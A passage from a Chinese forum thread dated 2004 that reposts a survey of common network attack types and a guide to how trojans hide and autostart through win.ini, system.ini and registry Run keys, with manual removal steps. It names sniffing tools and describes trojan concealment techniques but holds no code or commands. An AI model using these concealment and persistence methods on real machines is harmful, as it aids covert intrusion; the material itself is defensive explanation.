  特洛伊木马程序可以直接侵入用户的电脑并进行破坏,它常被伪装成工具程序或者游戏等诱使用户打开带有特洛伊木马程序的邮件附件或从网上直接下载,一旦用户打开了这些邮件的附件或者执行了这些程序之后,它们就会象古特洛伊人在敌人城外留下的藏满士兵的木马一样留在自己的电脑中,并在自己的计算机系统中隐藏一个可以在windows启动时悄悄执行的程序。当您连接到因特网上时,这个程序就会通知黑客,来报告您的IP地址以及预先设定的端口。黑客在收到这些信息后,再利用这个潜伏在其中的程序,就可以任意地修改您的计算机的参数设定、复制文件、窥视你整个硬盘中的内容等,从而达到控制你的计算机的目的。

3、WWW的欺骗技术

  在网上用户可以利用IE等浏览器进行各种各样的WEB站点的访问,如阅读新闻组、咨询产品价格、订阅报纸、电子商务等。然而一般的用户恐怕不会想到有这些问题存在:正在访问的网页已经被黑客篡改过,网页上的信息是虚假的!例如黑客将用户要浏览的网页的URL改写为指向黑客自己的服务器,当用户浏览目标网页的时候,实际上是向黑客服务器发出请求,那么黑客就可以达到欺骗的目的了。

4、电子邮件攻击

  电子邮件攻击主要表现为两种方式:一是电子邮件轰炸和电子邮件“滚雪球”,也就是通常所说的邮件炸弹,指的是用伪造的IP地址和电子邮件地址向同一信箱发送数以千计、万计甚至无穷多次的内容相同的垃圾邮件,致使受害人邮箱被“炸”,严重者可能会给电子邮件服务器操作系统带来危险,甚至瘫痪;二是电子邮件欺骗,攻击者佯称自己为系统管理员(邮件地址和系统管理员完全相同),给用户发送邮件要求用户修改口令(口令可能为指定字符串)或在貌似正常的附件中加载病毒或其他木马程序(据笔者所知,某些单位的网络管理员有定期给用户免费发送防火墙升级程序的义务,这为黑客成功地利用该方法提供了可乘之机),这类欺骗只要用户提高警惕,一般危害性不是太大。

5、通过一个节点来攻击其他节点

  黑客在突破一台主机后,往往以此主机作为根据地,攻击其他主机(以隐蔽其入侵路径,避免留下蛛丝马迹)。他们可以使用网络监听方法,尝试攻破同一网络内的其他主机;也可以通过IP欺骗和主机信任关系,攻击其他主机。这类攻击很狡猾,但由于某些技术很难掌握,如IP欺骗,因此较少被黑客使用。

6、网络监听

  网络监听是主机的一种工作模式,在这种模式下,主机可以接受到本网段在同一条物理通道上传输的所有信息,而不管这些信息的发送方和接受方是谁。此时,如果两台主机进行通信的信息没有加密,只要使用某些网络监听工具,例如NetXray for windows 95/98/nt,sniffit for linux 、solaries等就可以轻而易举地截取包括口令和帐号在内的信息资料。虽然网络监听获得的用户帐号和口令具有一定的局限性,但监听者往往能够获得其所在网段的所有用户帐号及口令。

7、寻找系统漏洞

  许多系统都有这样那样的安全漏洞(Bugs),其中某些是操作系统或应用软件本身具有的,如Sendmail漏洞,win98中的共享目录密码验证漏洞和IE5漏洞等,这些漏洞在补丁未被开发出来之前一般很难防御黑客的破坏,除非你将网线拔掉;还有一些漏洞是由于系统管理员配置错误引起的,如在网络文件系统中,将目录和文件以可写的方式调出,将未加Shadow的用户密码文件以明码方式存放在某一目录下,这都会给黑客带来可乘之机,应及时加以修正。

8、利用帐号进行攻击

  有的黑客会利用操作系统提供的缺省账户和密码进行攻击,例如许多UNIX主机都有FTP和Guest等缺省账户(其密码和账户名同名),有的甚至没有口令。黑客用Unix操作系统提供的命令如Finger和Ruser等收集信息,不断提高自己的攻击能力。这类攻击只要系统管理员提高警惕,将系统提供的缺省账户关掉或提醒无口令用户增加口令一般都能克服。

9、偷取特权

  利用各种特洛伊木马程序、后门程序和黑客自己编写的导致缓冲区溢出的程序进行攻击,前者可使黑客非法获得对用户机器的完全控制权,后者可使黑客获得超级用户的权限,从而拥有对整个网络的绝对控制权。这种攻击手段,一旦奏效,危害性极大。



[此帖子已经被作者于2004-11-8 16:23:37编辑过]

发表于 2004-11-8 00:00:00 | 显示全部楼层 |阅读模式
(八)了解"木马"工作原理 学习木马病毒通用解法


由于很多新手对安全问题了解不多,所以并不知道自己的计算机中了“木马”该怎么样清除。因此最关键的还是要知道“木马”的工作原理,这样就会很容易发现“木马”。相信你看了这篇文章之后,就会成为一名查杀“木马”的高手了。

“木马”程序会想尽一切办法隐藏自己,主要途径有:在任务栏中隐藏自己,
这是最基本的只要把Form的Visible属性设为False、ShowInTaskBar设为False,程序运行时就不会出现在任务栏中了。在任务管理器中隐形:将程序设为“系统服务”可以很轻松地伪装自己。

当然它也会悄无声息地启动,你当然不会指望用户每次启动后点击“木马”图标来运行服务端,,“木马”会在每次用户启动时自动装载服务端,Windows系统启动时自动加载应用程序的方法,“木马”都会用上,如:启动组、win.ini、system.ini、注册表等等都是“木马”藏身的好地方。下面具体谈谈“木马”是怎样自动加载的。

在win.ini文件中,在[WINDOWS]下面,“run=”和“load=”是可能加载“木马”程序的途径,必须仔细留心它们。一般情况下,它们的等号后面什么都没有,如果发现后面跟有路径与文件名不是你熟悉的启动文件,你的计算机就可能中上“木马”了。当然你也得看清楚,因为好多“木马”,如“AOL Trojan木马”,它把自身伪装成command.exe文件,如果不注意可能不会发现它不是真正的系统启动文件。

在system.ini文件中,在[BOOT]下面有个“shell=文件名”。正确的文件名应该是“explorer.exe”,如果不是“explorer.exe”,而是“shell= explorer.exe 程序名”,那么后面跟着的那个程序就是“木马”程序,就是说你已经中“木马”了。

在注册表中的情况最复杂,通过regedit命令打开注册表编辑器,在点击至:“HKEY-LOCAL-MACHINE\Software\Microsoft\Windows\CurrentVersion\Run”目录下,查看键值中有没有自己不熟悉的自动启动文件,扩展名为EXE,这里切记:有的“木马”程序生成的文件很像系统自身文件,想通过伪装蒙混过关,如“Acid Battery v1.0木马”,它将注册表“HKEY-LOCAL-MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run”下的Explorer 键值改为Explorer=“C:\WINDOWS\expiorer.exe”,“木马”程序与真正的Explorer之间只有“i”与“l”的差别。当然在注册表中还有很多地方都可以隐藏“木马”程序,如:“HKEY-CURRENT-USER\Software\Microsoft\Windows\CurrentVersion\Run”、“HKEY-USERS\****\Software\Microsoft\Windows\CurrentVersion\Run”的目录下都有可能,最好的办法就是在“HKEY-LOCAL-MACHINE\Software\Microsoft\Windows\CurrentVersion\Run”下找到“木马”程序的文件名,再在整个注册表中搜索即可。

知道了“木马”的工作原理,查杀“木马”就变得很容易,如果发现有“木马”存在,最安全也是最有效的方法就是马上将计算机与网络断开,防止黑客通过网络对你进行攻击。然后编辑win.ini文件,将[WINDOWS]下面,“run=“木马”程序”或“load=“木马”程序”更改为“run=”和“load=”;编辑system.ini文件,将[BOOT]下面的“shell=‘木马’文件”,更改为:“shell=explorer.exe”;在注册表中,用regedit对注册表进行编辑,先在“HKEY-LOCAL-MACHINE\Software\Microsoft\Windows\CurrentVersion\Run”下找到“木马”程序的文件名,再在整个注册表中搜索并替换掉“木马”程序,有时候还需注意的是:有的“木马”程序并不是直接将“HKEY-LOCAL-MACHINE\Software\Microsoft\Windows\CurrentVersion\Run”下的“木马”键值删除就行了,因为有的“木马”如:BladeRunner“木马”,如果你删除它,“木马”会立即自动加上,你需要的是记下“木马”的名字与目录,然后退回到MS-DOS下,找到此“木马”文件并删除掉。重新启动计算机,然后再到注册表中将所有“木马”文件的键值删除。至此,我们就大功告成了。

小知识:

“木马”全称是“特洛伊木马(Trojan Horse)”,原指古希腊士兵藏在木马内进入敌方城市从而占领敌方城市的故事。在Internet上,“特洛伊木马”指一些程序设计人员在其可从网络上下载(Download)的应用程序或游戏中,包含了可以控制用户的计算机系统的程序,可能造成用户的系统被破坏甚至瘫痪。

[此帖子已经被作者于2004-11-8 16:24:01编辑过]

发表于 2004-11-8 00:00:00 | 显示全部楼层 |阅读模式
先帖到这里吧!特此声明,我将以上技术文章帖出,并不是鼓励大家去做黑客,只是想让大家都了解下相关的技术罢了,至于如何抉择盖随自便。[em04]
[此帖子已经被作者于2004-11-8 16:18:49编辑过]

发表于 2004-11-8 00:00:00 | 显示全部楼层

又一篇精华?

你老哥这一周也太厉害了吧!!!

[em46][em46][em46]
回复

使用道具 举报

手机版|小黑屋|啊三国

GMT+8, 2026-7-15 07:39

Powered by Discuz! X3.5

© 2001-2026 Discuz! Team.

快速回复 返回顶部 返回列表